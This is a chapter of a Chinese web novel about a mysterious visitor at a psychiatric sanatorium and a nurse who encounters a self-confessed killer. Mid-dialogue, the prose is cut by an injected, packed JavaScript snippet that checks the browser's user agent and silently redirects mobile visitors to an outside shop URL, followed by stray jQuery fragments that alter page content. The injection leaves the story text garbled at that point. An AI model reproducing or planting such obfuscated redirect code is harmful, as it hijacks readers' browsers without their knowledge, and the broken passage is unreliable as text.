“澜州出了个天才?”
“不,是个疯子。”
澜州维安疗养院公园里,一位年轻护士正以百米冲刺的速度追一个男人。
男人个子挺拔,头发乌黑,约莫三十来岁,手里拿着玩具水枪,一边乐呵呵滋水,一边大声嚷嚷:“拯救世界!打怪兽!”
护士边跑边喊,渐渐力竭降下速来,只好眼睁睁看着男人的背影越来越模糊。
完蛋!这下又要挨骂了。
护士刚喘口气打算最后冲刺一波,男人却回来了,身边还跟着一个人。
那人穿着一件皮衣,身形修长,眉骨高挺,眉宇间散发着淡淡的疏离感,嘴角却挂着一丝恰到好处的弧度。
“罗先生?”护士又惊又喜,总算松了一口气。
罗先生是维安的常客,也不知道为什么,这里的人都愿意听他的话。用白院长的话来说,罗先生哄各个年龄段的人都很有一套。
护士连忙道谢,感慨自己撞了大运,罗先生把玩具手枪递给她。
“刚刚不小心把它弄坏了,辛苦你处理一下,回头我送个新的过来。”罗先生冲她礼貌一笑,温柔又有点低沉的嗓音格外磨耳。
“好!没问题!”大概是站在太阳底下,护士的耳根有点发烫。
男人好像很害怕这个弄坏了武器的怪叔叔,一直低头搓着病号服,直到护士拉着他才迈开步子。
罗先生目送他们走出公园,转身往十号住院楼走去。
这里的病人男女老少,形形色色,唯一的共同点就是他们身体里都住着两个人,一个是他们自己,另一个也是他们自己。
只是三十多岁的人有一个五六岁的自己,安静内敛的人有一个活泼好动的自己,心向正义的人也有一个黑暗可怖的自己......
谁都不知道他们的另一个自己会在什么时候出现。
525病房住着一位五十岁左右的男人,他穿着干净整洁的病号服,倚在窗边的沙发上,阳光正暖着他的每一寸肌肤。男人看上去很享受,全然没注意到出现在他身后的罗先生。
“我刚刚拿走了阿辉的水枪,等一下应该就不会下雨了,你可以继续晒太阳。”罗先生看着他的背影说。
男人顿了几秒转过身,他的长相堪称儒雅,全身散发着“腹有诗书气自华”的气质。
他朝罗先生轻微一笑表示感谢,缓缓开口:“或许下次可以给阿辉做一把喷雪枪,太阳雪......我还没见过。”
“好。”罗先生脱口答应,“想要什么颜色的雪?”
“红色吧。”男人顿了顿,“粉色的也行。”
罗先生点了点头,向他承诺三天后的下午两点会给他一场阳光下的漫天红雪,而后招招手往十一号楼走去。
罗先生在一楼大厅的自助售货机买了一袋奶糖,顺便给自己接了一杯速溶咖啡,十分自然地走向前台护士站。
维安的工作人员没一个不认识他,不过大家都很好奇这位优雅男子的身份,毕竟登记在册的病人里并没有他的关系人,可他却雷打不动三天一到访。
只是他每次都能巧妙避开这个话题,渐渐的也就没什么人问了。
他有一搭没一搭打听着最近院里的趣事,咖啡喝完,他把空杯轻轻塞进旁边的垃圾桶,向护士们挥了挥手,乘电梯上九楼。
病房里的短发小姑娘正靠在床头翻漫画书,或许是看得太过入迷没有听见敲门声,等她抬起头的时候,一袋草莓味的奶糖盖住她的视线。
“哇!谢谢罗叔叔!”宁宁迫不及待撕开包装袋,抓了一把塞进床头柜的抽屉,掂了掂剩下大半袋的重量,笑着看向罗先生,“等一下我拿去给小鑫,他今天要吃好多药。”
罗先生的眉头蹙了一下,温柔地拿过糖袋:“这是叔叔给宁宁的,叔叔会再买一袋给小鑫。”
宁宁听到后笑得更甜了,一颗接着一颗往嘴里塞,腮帮鼓到极限再也塞不进去才停下,含糊不清地说了句“真好吃”。
罗先生一脸欣慰地拿起床头的漫画,画风诡异,内容血腥,这个十二岁的小姑娘却看得津津有味。好比她现在细细品味着草莓味的奶糖。
“罗先生,你今天来得有点晚啊!”
罗先生闻声抬头,白院长正双手插兜款款走来。
罗先生轻扯嘴角放下漫画书,跟着白院长走出病房。
“宁宁的状况很稳定,从她来到这里就没再发过病。”白院长示意路过的护士去为等一下的治疗做准备,继续看着面无表情的罗先生,“目前来看,这个治疗方法的效果是最好的。”
一个原先活泼开朗的小姑娘变得不爱说话,喜欢看恐怖漫画,还失去了味觉。
罗先生发出一声冷笑。
白院长无奈叹了口气,抬手轻扶无边眼镜:“有得必有失,罗先生,这一点你应该比我更清楚。”
“我不清楚。”罗先生懒洋洋回道,漫不经心地拍了拍白院长的肩膀,“我只知道今天速溶咖啡的味道又变差了。”
白院长似乎没反应过来,在罗先生意味不明的眼神中顿了好一会,微笑道:“明天陈总要过来和我商量扩建十二号住院楼的事,要不我顺便再提一提咖啡机?”
“再顺便把售货机里的奶糖都撤了,换成巧克力。”
白院长一时无言,三天前他刚按照罗先生的吩咐把巧克力换成了草莓味的奶糖,如今又要?
虽然他这个怪人对付病人确实游刃有余,可架不住他比病人还怪,搞得白院长还要为七零八落无关紧要的小碎事操心。
但他又偏偏少不了他的助力。
白院长试探道:“要不......换成巧克力味的奶糖?”
罗先生闻言色变。
他嘴角的那抹弧度一旦消散,眼里就只剩下锋锐,让人后背发凉。
白院长还是不吃教训,总是忘记这位心比天高的罗先生只长了一张给别人下命令的嘴,却没有长听别人建议的耳。
为了维持表面友好关系,白院长连忙改口,只是话音未落,罗先生就头也不回地走了。
十一号楼住的都是小孩,最大的也就十五岁,他们似乎习惯了自娱自乐,这里的走廊和病房都安静得可怕。
电梯门一开,一对双胞胎姐妹抬头笑了一下,罗先生点头回应,等电梯门关上后走楼梯到八楼。
刚走出安全通道口,他就撞上了那对双胞胎。
妹妹:“你为什么不和我们一起下来?”
姐姐:“是怕电梯超载吗?”
罗先生蹲下身和她们平视:“因为叔叔不想打扰你们。”
姐姐:“哦,原来是怕我们呀!”
妹妹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545236|204114||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“叔叔真胆小。”
罗先生面带微笑,望着她们跑向电梯口。
818病房,乔护士连打三个哈欠,总算等到小鑫吞下最后一粒胶囊,言出必行把从护士长那里薅来的甜牛奶递给他,草草在记录本上写下几笔。
随后她一边倒退着走出病房,一边教小鑫怎么正确插吸管,结果一个不注意撞上了罗先生。
乔护士的困意瞬间消散,没来得及开口道谦就被罗先生按住肩膀,等回过神来房门已经被关上了。
“小鑫怎么样?”罗先生问道。
乔护士手忙脚乱翻开记录本:“三……三号药已经给他吃了,一号二号都对他没什么效果,不知道这次......”
罗先生忽地弯腰,直直勾着乔护士的眼神:“你紧张什么?”
乔护士刚来这里工作不久,这是她第三次见到罗先生,对于这样一位同事口中的奇人,她却莫名感到恐惧,一种生理和心理双重压迫的恐惧。
第一次见面她就有这种感觉,所以第二次她刻意回避了他的视线。只是不知道为什么,那天晚上她就从七号楼调到了十一号楼。
管小孩,她最头疼了。可这号楼的工资却直接翻倍。
“没......没有。”乔护士微低着头,视线还落在记事本上。
“你的字真好看。”罗先生忽然话锋一转,“会画画吗?”
乔护士摇头,下一秒记事本就被夺走。她仍旧不敢看他,只好等在原地听着翻页的声音。
“有空的话可以去尝试一下画画,我觉得你应该很有天赋。”罗先生将记事本放回乔护士手中,“要是不想尝试,就把记录写完整。”
“对......对不起!我错了!对不起罗先生,我再也不偷懒了,我......”
她抬起头,却只看到罗先生慢慢走远的背影,手中的记事本不知道什么时候被撕下一页。
白天打工人,晚上加班魂,下午又经历了堪称惊心动魄的一遭,乔护士的心情属实说不上好。不过至少过了今天,她这份工作就算保住了。
虽然没有和上大学时想的那样成为和死神抢人的英雄,可实在架不住高工资高保障,能进维安也是相当不错了。或许再过两年,她就不用挤在这片连路灯都奢侈的贫民窟了。
“救命!救命啊!”
乔护士猛地一顿,手里的铁板炒饭差点喂水泥地。愣神的十几秒里,岔路口前的三个身影跑了一个、倒了一个,剩下的一个扑在倒下的人身上不知道在干什么。
理智告诉她,得跑,得马上跑。
“喂!你!”
那人突然注意到不远处有个大活人,扯着嗓子走过来。
乔护士下意识甩起炒饭向他砸去,扑鼻的香气中,那人加快脚步。
这个地方本来就七弯八绕,又是在全凭月光照明的情况下,乔护士竭尽所能也只是被那人逼到角落,顺便喜提一副喊哑的嗓子和一张挂着泪痕的脸。
“你......你要干什么?别过来!别过来!”她现在万分后悔没在包包里塞个防狼喷雾报警器外加强光小手电。
能丢的东西都丢了,她也真的无路可退了。
听天由命吧。
距离仅剩几步的时候,她绝望地闭上眼睛。
“报警,我刚刚杀人了。”